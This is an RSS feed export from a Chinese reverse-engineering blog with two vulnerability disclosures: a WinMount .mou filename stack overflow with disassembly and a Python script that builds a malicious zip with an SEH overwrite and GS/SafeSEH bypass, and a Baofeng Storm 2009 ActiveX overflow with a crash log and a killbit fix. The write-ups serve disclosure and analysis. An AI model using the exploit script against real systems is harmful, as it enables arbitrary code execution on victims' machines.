<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>SoftRCE.net &#187; 漏洞分析</title>
	<atom:link href="http://www.softrce.net/archives/tag/%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90/feed" rel="self" type="application/rss+xml" />
	<link>http://www.softrce.net</link>
	<description>Software Reverse Code Engineering</description>
	<lastBuildDate>Tue, 13 Sep 2011 06:58:40 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>WinMount mou文件格式溢出漏洞分析</title>
		<link>http://www.softrce.net/archives/302</link>
		<comments>http://www.softrce.net/archives/302#comments</comments>
		<pubDate>Wed, 21 Apr 2010 11:55:42 +0000</pubDate>
		<dc:creator>dge</dc:creator>
				<category><![CDATA[倚天屠龙（Vulnerability）]]></category>
		<category><![CDATA[漏洞分析]]></category>

		<guid isPermaLink="false">http://www.softrce.net/archives/302</guid>
		<description><![CDATA[前段时间发现的一个WinMount的漏洞并报给了WinMount，WinMount更新了，所以发布出来。

影响产品:WinMount 3.3.0401

WinMount在处理其mou私有格式的时候存在超长文件名溢出漏洞，并且可以绕过GS,SAFESEH成功利用。]]></description>
			<content:encoded><![CDATA[<p>Author：dge</p>
<p>前段时间发现的一个WinMount的漏洞并报给了WinMount，WinMount更新了，所以发布出来。</p>
<p>影响产品:WinMount 3.3.0401</p>
<p>WinMount在处理其mou私有格式的时候存在超长文件名溢出漏洞，这个漏洞存在于7z.dll中，并且可以绕过GS,SAFESEH成功利用。<span id="more-302"></span></p>
<p>由于WinMount对mou格式的特殊处理机制导致这个漏洞并不需要通过欺骗点击的方式来触发，只要你在电脑里看到这个精心构造的恶意mou文件，就能触发这个漏洞。</p>
<p>分析：<br />
.text:100B5460 vul_            proc near               ; CODE XREF: sub_100B64B0+2EEp<br />
.text:100B5460<br />
.text:100B5460 var_214         = dword ptr -214h<br />
.text:100B5460 var_210         = dword ptr -210h<br />
.text:100B5460 buf_20c         = byte ptr -20Ch<br />
.text:100B5460 arg_0           = dword ptr  4<br />
.text:100B5460 arg_4           = dword ptr  8<br />
.text:100B5460 arg_8           = dword ptr  0Ch<br />
.text:100B5460 arg_C           = dword ptr  10h<br />
.text:100B5460 arg_10          = dword ptr  14h<br />
.text:100B5460 arg_14          = dword ptr  18h<br />
.text:100B5460 arg_18          = dword ptr  1Ch<br />
.text:100B5460<br />
.text:100B5460                 sub     esp, 214h<br />
.text:100B5466                 mov     eax, dword_10101D2C<br />
.text:100B546B                 xor     eax, esp<br />
.text:100B546D                 mov     dword ptr [esp+214h+buf_20c+208h], eax<br />
.text:100B5474                 mov     ecx, [esp+214h+arg_18]<br />
.text:100B547B                 mov     edx, [esp+214h+arg_4]<br />
.text:100B5482                 mov     eax, [esp+214h+arg_C]<br />
.text:100B5489                 push    ebx<br />
.text:100B548A                 push    ebp<br />
.text:100B548B                 mov     ebp, [esp+21Ch+arg_0]<br />
.text:100B5492                 push    esi<br />
.text:100B5493                 mov     esi, [esp+220h+arg_8]<br />
.text:100B549A                 push    edi<br />
.text:100B549B                 mov     [esp+224h+var_214], ecx<br />
.text:100B549F                 push    edx<br />
.text:100B54A0                 lea     ecx, [ebp+58h]<br />
.text:100B54A3                 mov     [esp+228h+var_210], eax<br />
.text:100B54A7                 call    sub_100B5260<br />
.text:100B54AC                 mov     edi, [eax]<br />
.text:100B54AE                 mov     byte ptr [esi+6Ch], 1<br />
.text:100B54B2                 mov     eax, [edi+26h]<br />
.text:100B54B5                 mov     [esi+20h], eax<br />
.text:100B54B8                 mov     eax, [edi+2Ah]<br />
.text:100B54BB                 xor     ebx, ebx<br />
.text:100B54BD                 cmp     eax, ebx<br />
.text:100B54BF                 jz      short loc_100B54D0<br />
.text:100B54C1                 cmp     eax, 0FFFFFFFFh<br />
.text:100B54C4                 jz      short loc_100B54D0<br />
.text:100B54C6                 mov     byte ptr [esi+6Bh], 1<br />
.text:100B54CA                 mov     ecx, [edi+2Ah]<br />
.text:100B54CD                 mov     [esi+24h], ecx<br />
.text:100B54D0<br />
.text:100B54D0 loc_100B54D0:                           ; CODE XREF: vul_vul+5Fj<br />
.text:100B54D0                                         ; vul_vul+64j<br />
.text:100B54D0                 cmp     [edi+0Eh], ebx<br />
.text:100B54D3                 ja      short loc_100B54DA<br />
.text:100B54D5                 cmp     [edi+0Ah], ebx<br />
.text:100B54D8                 jbe     short loc_100B54DE<br />
.text:100B54DA<br />
.text:100B54DA loc_100B54DA:                           ; CODE XREF: vul_vul+73j<br />
.text:100B54DA                 mov     al, 1<br />
.text:100B54DC                 jmp     short loc_100B54E0<br />
.text:100B54DE ; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
.text:100B54DE<br />
.text:100B54DE loc_100B54DE:                           ; CODE XREF: vul_vul+78j<br />
.text:100B54DE                 xor     al, al<br />
.text:100B54E0<br />
.text:100B54E0 loc_100B54E0:                           ; CODE XREF: vul_vul+7Cj<br />
.text:100B54E0                 test    byte ptr [esi+20h], 10h<br />
.text:100B54E4                 mov     [esi+68h], al<br />
.text:100B54E7                 setnbe  dl<br />
.text:100B54EA                 mov     [esi+69h], dl<br />
.text:100B54ED                 mov     [esi+6Ah], bl<br />
.text:100B54F0                 mov     eax, [edi+1Ah]<br />
.text:100B54F3                 mov     ecx, [edi+1Eh]<br />
.text:100B54F6                 mov     edx, eax<br />
.text:100B54F8                 or      edx, ecx<br />
.text:100B54FA                 jz      short loc_100B5512<br />
.text:100B54FC                 add     eax, [esp+224h+arg_10]<br />
.text:100B5503                 adc     ecx, [esp+224h+arg_14]<br />
.text:100B550A                 mov     [esi+60h], eax<br />
.text:100B550D                 mov     [esi+64h], ecx<br />
.text:100B5510                 jmp     short loc_100B5518<br />
.text:100B5512 ; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
.text:100B5512<br />
.text:100B5512 loc_100B5512:                           ; CODE XREF: vul_vul+9Aj<br />
.text:100B5512                 mov     [esi+60h], ebx<br />
.text:100B5515                 mov     [esi+64h], ebx<br />
.text:100B5518<br />
.text:100B5518 loc_100B5518:                           ; CODE XREF: vul_vul+B0j<br />
.text:100B5518                 push    206h            ; size_t<br />
.text:100B551D                 lea     ecx, [esp+228h+buf_20c+2]<br />
.text:100B5521                 xor     eax, eax<br />
.text:100B5523                 push    ebx             ; int<br />
.text:100B5524                 push    ecx             ; void *<br />
.text:100B5525                 mov     word ptr [esp+230h+buf_20c], ax<br />
.text:100B552A                 call    _memset<br />
.text:100B552F                 add     esp, 0Ch<br />
.text:100B5532                 push    edi             ; int<br />
.text:100B5533                 lea     edx, [esp+228h+buf_20c]<br />
.text:100B5537                 push    edx             ; dst_string<br />
.text:100B5538                 push    ebp             ; int<br />
.text:100B5539                 call    sub_100B3F90    ;</p>
<p>跟进去</p>
<p>.text:100B3F90 ; int __stdcall sub_100B3F90(int, LPWSTR dst_string, int)<br />
.text:100B3F90 sub_100B3F90    proc near               ; CODE XREF: sub_100B3F90+25p<br />
.text:100B3F90                                         ; vul_vul+D9p<br />
.text:100B3F90<br />
.text:100B3F90 arg_0           = dword ptr  4<br />
.text:100B3F90 dst_string      = dword ptr  8<br />
.text:100B3F90 arg_8           = dword ptr  0Ch<br />
.text:100B3F90<br />
.text:100B3F90                 push    ebx<br />
.text:100B3F91                 mov     ebx, [esp+4+arg_8]<br />
.text:100B3F95                 mov     eax, [ebx+5Ch]<br />
.text:100B3F98                 push    esi<br />
.text:100B3F99                 mov     esi, [esp+8+dst_string]<br />
.text:100B3F9D                 push    edi<br />
.text:100B3F9E                 mov     edi, ds:lstrcatW<br />
.text:100B3FA4                 test    eax, eax<br />
.text:100B3FA6                 jz      short loc_100B3FC2<br />
.text:100B3FA8                 cmp     dword ptr [eax+56h], 0FFFFFFFFh<br />
.text:100B3FAC                 jz      short loc_100B3FC2<br />
.text:100B3FAE                 push    eax             ; int<br />
.text:100B3FAF                 mov     eax, [esp+10h+arg_0]<br />
.text:100B3FB3                 push    esi             ; dst_string<br />
.text:100B3FB4                 push    eax             ; int<br />
.text:100B3FB5                 call    sub_100B3F90<br />
.text:100B3FBA                 push    offset String2  ; “\\”<br />
.text:100B3FBF                 push    esi             ; lpString1<br />
.text:100B3FC0                 call    edi ; lstrcatW<br />
.text:100B3FC2<br />
.text:100B3FC2 loc_100B3FC2:                           ; CODE XREF: sub_100B3F90+16j<br />
.text:100B3FC2                                         ; sub_100B3F90+1Cj<br />
.text:100B3FC2                 mov     ecx, [ebx+52h]<br />
.text:100B3FC5                 push    ecx             ; lpString2<br />
.text:100B3FC6                 push    esi             ; lpString1<br />
.text:100B3FC7                 call    edi ; lstrcatW  ; 溢出<br />
.text:100B3FC9                 pop     edi<br />
.text:100B3FCA                 pop     esi<br />
.text:100B3FCB                 pop     ebx<br />
.text:100B3FCC                 retn    0Ch<br />
.text:100B3FCC sub_100B3F90    endp</p>
<p>接下来会继续调用下边这个函数</p>
<p>.text:100209C0 access_         proc near               ; CODE XREF: sub_10020AE0+6Cp<br />
.text:100209C0                                         ; sub_10021060+105p &#8230;<br />
.text:100209C0<br />
.text:100209C0 p_string        = dword ptr  4<br />
.text:100209C0<br />
.text:100209C0                 push    ebx<br />
.text:100209C1                 mov     ebx, ecx<br />
.text:100209C3                 mov     eax, [ebx]<br />
.text:100209C5                 push    esi<br />
.text:100209C6                 xor     ecx, ecx<br />
.text:100209C8                 push    edi<br />
.text:100209C9                 mov     edi, [esp+0Ch+p_string]<br />
.text:100209CD                 mov     dword ptr [ebx+4], 0<br />
.text:100209D4                 mov     [eax], cx<br />
.text:100209D7                 xor     esi, esi<br />
.text:100209D9                 cmp     [edi], cx<br />
.text:100209DC                 jz      short loc_100209E7<br />
.text:100209DE                 mov     edi, edi<br />
.text:100209E0<br />
.text:100209E0 loc_100209E0:                           ; CODE XREF: access_+25j<br />
.text:100209E0                 inc     esi<br />
.text:100209E1                 cmp     [edi+esi*2], cx ; 可以制造出内存读异常&#8212;&gt;绕过GS<br />
.text:100209E5                 jnz     short loc_100209E0<br />
.text:100209E7<br />
.text:100209E7 loc_100209E7:                           ; CODE XREF: access_+1Cj<br />
.text:100209E7                 push    esi<br />
.text:100209E8                 mov     ecx, ebx<br />
.text:100209EA                 call    sub_10002F90<br />
.text:100209EF                 mov     ecx, [ebx]<br />
.text:100209F1                 mov     edx, edi<br />
.text:100209F3<br />
.text:100209F3 loc_100209F3:                           ; CODE XREF: access_+42j<br />
.text:100209F3                 movzx   eax, word ptr [edx]<br />
.text:100209F6                 mov     [ecx], ax<br />
.text:100209F9                 add     ecx, 2<br />
.text:100209FC                 add     edx, 2<br />
.text:100209FF                 test    ax, ax<br />
.text:10020A02                 jnz     short loc_100209F3<br />
.text:10020A04                 pop     edi<br />
.text:10020A05                 mov     [ebx+4], esi<br />
.text:10020A08                 pop     esi<br />
.text:10020A09                 mov     eax, ebx<br />
.text:10020A0B                 pop     ebx<br />
.text:10020A0C                 retn    4<br />
.text:10020A0C access_         endp</p>
<p>POC:</p>
<p>用这个脚本产生test.zip，再借助WinMount生成test.mou文件。</p>
<p>import os</p>
<p>sploitfile=”test.zip”<br />
ldf_header =(&#8216;\x50\x4B\x03\x04\x14\x00\x00&#8242;<br />
&#8216;\x00\x08\x00\xB7\xAC\xCE\x34\x00\x00\x00&#8242;<br />
&#8216;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&#8242;<br />
&#8216;\xd0\xff&#8217;<br />
&#8216;\x00\x00\x00&#8242;)<br />
cdf_header = (“\x50\x4B\x01\x02\x14\x00\x14&#8243;<br />
“\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00&#8243;<br />
“\x00\x00\x00\x00\x00\x00\x00\x00\x00&#8243;<br />
“\xd0\xff”<br />
“\x00\x00\x00\x00\x00\x00\x01\x00&#8243;<br />
“\x24\x00\x00\x00\x00\x00\x00\x00&#8243;)<br />
eofcdf_header = (“\x50\x4B\x05\x06\x00\x00\x00&#8243;<br />
“\x00\x01\x00\x01\x00&#8243;<br />
“\xfe\xff\x00\x00&#8243;<br />
“\xee\xff\x00\x00&#8243;<br />
“\x00\x00&#8243;)<br />
print ”[+] Preparing payload\n”<br />
size=65484<br />
junk=&#8217;A'*420<br />
nseh=&#8217;\x89\x8a\x8b\x8c&#8217;<br />
seh=&#8217;\x84\x5b\xac\x8d&#8217;<br />
junk_=&#8217;A'*33<br />
jumpto=&#8217;\x05\x12\x11\x46\x2d\x11\x11\x46\x50\x46\xac\xe4&#8242;#make eax point to shellcode and jump to shellcode<br />
shellcode=(“the shellcode here will be changed into unicode”)#encode by alpha2<br />
junk__=&#8217;B'*80<br />
last=&#8217;C'*(size-420-len(nseh+seh+junk_+jumpto+junk__+shellcode))<br />
payload=junk+nseh+seh+junk_+jumpto+junk__+shellcode+last+”.wav”<br />
evilzip = ldf_header+payload+cdf_header+payload+eofcdf_header<br />
print ”[+] Removing old zip file\n”<br />
os.system(“del ”+sploitfile)<br />
print ”[+] Writing payload to file\n”<br />
fobj=open(sploitfile,”w”,0)<br />
fobj.write(evilzip)<br />
print ”generate zip file ”+(sploitfile)<br />
fobj.close()<br />
print &#8217;[+] Wrote %d bytes to file sploitfile\n&#8217;%(len(evilzip))<br />
print ”[+] Payload length :%d \n”%(len(payload))</p>
<p>EOF</p>
<hr /><h2>Comments</h2><ul><li><a href="http://www.softrce.net/archives/302">2010年05月1日</a>, Cyg07 writes: nx~顶了</li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small>  
<div class="wp_license">
<p><a rel="license" href="http://creativecommons.org/licenses/by-nc-nd/3.0/"><img src="http://i.creativecommons.org/l/by-nc-nd/3.0/88x31.png" alt="Creative Commons Attribution-NonCommercial-NoDerivs 3.0 Unported" class="alignleft" style="margin-top:4px;" />
</a>This work  is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-nc-nd/3.0/">Creative Commons Attribution-NonCommercial-NoDerivs 3.0 Unported</a>.</p>
</div><h3  class="related_post_title">相关阅读</h3><ul class="related_post"><li>2009年05月1日 -- <a href="http://www.softrce.net/archives/100" title="暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞">暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞</a></li><li>2009年05月1日 -- <a href="http://www.softrce.net/archives/96" title="暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞">暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞</a></li><li>2009年04月30日 -- <a href="http://www.softrce.net/archives/83" title="中国游戏中心游戏大厅ActiveX远程栈溢出漏洞">中国游戏中心游戏大厅ActiveX远程栈溢出漏洞</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/302/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞</title>
		<link>http://www.softrce.net/archives/100</link>
		<comments>http://www.softrce.net/archives/100#comments</comments>
		<pubDate>Thu, 30 Apr 2009 22:18:59 +0000</pubDate>
		<dc:creator>bugvuln</dc:creator>
				<category><![CDATA[倚天屠龙（Vulnerability）]]></category>
		<category><![CDATA[ActiveX]]></category>
		<category><![CDATA[漏洞分析]]></category>

		<guid isPermaLink="false">http://www.softrce.net/?p=100</guid>
		<description><![CDATA[暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞 by bugvuln(bugvuln_at_gmail.com)    niklen(niklenxyz_at_gmail.com) 描述: 暴风影音是国内一款相当流行的万能播放器 http://www.baofeng.com/ 受影响的系统: 暴风影音2009 &#60;=[3.09.04.17] 细节: clsid:BD103B2B-30FB-4F1E-8C17-D8F6AADBCC05 C:\Program Files\StormII\Config.dll Sub SetAttributeValue (   ByVal lpQueryStr  As String ,   ByVal bstrAttributeName  As String ,   ByVal lpValueStr  As String ) 当参数lpQueryStr是一个超长字符串时，发生栈溢出，利用堆填充技术，攻击者可以很轻松的利用此漏洞执行任意代码 分析: ?View Code ASM1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 [...]]]></description>
			<content:encoded><![CDATA[<p>暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞<br />
by bugvuln(bugvuln_at_gmail.com)<br />
   niklen(niklenxyz_at_gmail.com)</p>
<p>描述:<br />
暴风影音是国内一款相当流行的万能播放器<br />
<a href="http://www.baofeng.com/">http://www.baofeng.com/</a></p>
<p>受影响的系统:<br />
暴风影音2009 &lt;=[3.09.04.17]</p>
<p>细节:<span id="more-100"></span><br />
clsid:BD103B2B-30FB-4F1E-8C17-D8F6AADBCC05<br />
C:\Program Files\StormII\Config.dll<br />
Sub SetAttributeValue (<br />
  ByVal lpQueryStr  As String ,<br />
  ByVal bstrAttributeName  As String ,<br />
  ByVal lpValueStr  As String<br />
)</p>
<p>当参数lpQueryStr是一个超长字符串时，发生栈溢出，利用堆填充技术，攻击者可以很轻松的利用此漏洞执行任意代码</p>
<p>分析:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p100code2'); return false;">View Code</a> ASM</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p1002"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
</pre></td><td class="code" id="p100code2"><pre class="asm" style="font-family:monospace;"><span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A4C                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">ebp</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A4D                 <span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #00007f;">ebp</span><span style="color: #339933;">,</span> <span style="color: #00007f;">esp</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A4F                 <span style="color: #00007f; font-weight: bold;">sub</span>     <span style="color: #00007f;">esp</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">208h</span>       <span style="color: #666666; font-style: italic;">; 开辟208h的堆栈空间</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A55                 <span style="color: #00007f; font-weight: bold;">cmp</span>     <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span>Source<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">0</span> <span style="color: #666666; font-style: italic;">; 判断参数1是否为空</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A59                 <span style="color: #00007f; font-weight: bold;">jz</span>      <span style="color: #000000; font-weight: bold;">short</span> loc_10009AA8
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A5B                 <span style="color: #00007f; font-weight: bold;">cmp</span>     <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span>arg_C<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">0</span>  <span style="color: #666666; font-style: italic;">; 判断参数3是否为空</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A5F                 <span style="color: #00007f; font-weight: bold;">jz</span>      <span style="color: #000000; font-weight: bold;">short</span> loc_10009AA8
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A61                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span>Source<span style="color: #009900; font-weight: bold;">&#93;</span>    <span style="color: #666666; font-style: italic;">; 参数1</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A64                 <span style="color: #00007f; font-weight: bold;">lea</span>     <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span>String<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A6A                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">eax</span>             <span style="color: #666666; font-style: italic;">; eax正好指向ebp-208h的堆栈区域</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A6B                 <span style="color: #00007f; font-weight: bold;">call</span>    <span style="color: #00007f;">ds</span><span style="color: #339933;">:</span>wcscpy       <span style="color: #666666; font-style: italic;">; oh，my god，不进行参数合法性检查，直接开始拷贝操作，</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A6B                                         <span style="color: #666666; font-style: italic;">; 哦豁了，eax指向的堆栈区域全部被超长非法参数占领了-_-！</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A71                 <span style="color: #00007f; font-weight: bold;">pop</span>     <span style="color: #00007f;">ecx</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A72                 <span style="color: #00007f; font-weight: bold;">lea</span>     <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span>String<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A78                 <span style="color: #00007f; font-weight: bold;">pop</span>     <span style="color: #00007f;">ecx</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A79                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span>arg_8<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A7C                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #000000; font-weight: bold;">offset</span> String   <span style="color: #666666; font-style: italic;">; &quot;/@&quot;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A81                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #000000; font-weight: bold;">offset</span> aSS      <span style="color: #666666; font-style: italic;">; &quot;%s%s&quot;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A86                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">eax</span>             <span style="color: #666666; font-style: italic;">; String</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A87                 <span style="color: #00007f; font-weight: bold;">call</span>    <span style="color: #00007f;">ds</span><span style="color: #339933;">:</span>swprintf     <span style="color: #666666; font-style: italic;">; 上面的拷贝直接影响到这里的swprintf,相当于再对eax指向的堆栈进行一次拷贝操作</span>
             <span style="color: #666666; font-style: italic;">; 没有上边的拷贝，这里也要出问题</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A8D                 <span style="color: #00007f; font-weight: bold;">add</span>     <span style="color: #00007f;">esp</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">10h</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A90                 <span style="color: #00007f; font-weight: bold;">lea</span>     <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span>String<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A96                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span>arg_C<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A99                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">eax</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A9A                 <span style="color: #00007f; font-weight: bold;">call</span>    sub_10001201
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009A9F                 <span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span> <span style="color: #00007f;">eax</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009AA1                 <span style="color: #00007f; font-weight: bold;">call</span>    sub_1000CC9A
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009AA6                 <span style="color: #00007f; font-weight: bold;">jmp</span>     <span style="color: #000000; font-weight: bold;">short</span> locret_10009AAD
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009AA8 <span style="color: #666666; font-style: italic;">; ---------------------------------------------------------------------------</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009AA8
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009AA8 loc_10009AA8<span style="color: #339933;">:</span>                           <span style="color: #666666; font-style: italic;">; CODE XREF: sub_10009A4C+Dj</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009AA8                                         <span style="color: #666666; font-style: italic;">; sub_10009A4C+13j</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009AA8                 <span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">80004005h</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009AAD
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009AAD locret_10009AAD<span style="color: #339933;">:</span>                        <span style="color: #666666; font-style: italic;">; CODE XREF: sub_10009A4C+5Aj</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009AAD                 <span style="color: #00007f; font-weight: bold;">leave</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>10009AAE                 <span style="color: #00007f; font-weight: bold;">retn</span>    <span style="color: #0000ff;">10h</span>        <span style="color: #666666; font-style: italic;">; 就这样返回，哦豁了</span></pre></td></tr></table></div>

<p>ModLoad: 41f50000 41fc7000   C:\WINDOWS\system32\mshtmled.dll<br />
ModLoad: 10000000 10020000   C:\Program Files\StormII\Config.dll<br />
ModLoad: 63380000 633f8000   C:\WINDOWS\system32\jscript.dll<br />
(eec.ee8): Illegal instruction &#8211; code c000001d (first chance)<br />
(eec.ee8): Illegal instruction &#8211; code c000001d (!!! second chance !!!)<br />
eax=80004005 ebx=100116b0 ecx=0175f998 edx=00030001 esi=0039fe98 edi=00000000<br />
eip=00410061 esp=0175f5ec ebp=00410041 iopl=0         nv up ei pl nz ac po nc<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212<br />
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Internet Explorer\IEXPLORE.EXE<br />
IEXPLORE+0&#215;10061:<br />
00410061 ff              ???<br />
解决办法:<br />
在厂商没有推出相应的补丁之前，<br />
建议用户通过注册表对相应的CLSID:BD103B2B-30FB-4F1E-8C17-D8F6AADBCC05设置Killbit<br />
或者将以下文本保存为.REG文件并导入:<br />
Windows Registry Editor Version 5.00</p>
<p>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{BD103B2B-30FB-4F1E-8C17-D8F6AADBCC05}]<br />
“Compatibility Flags”=dword:00000400</p>
<p>&#8211;EOF&#8211;</p>
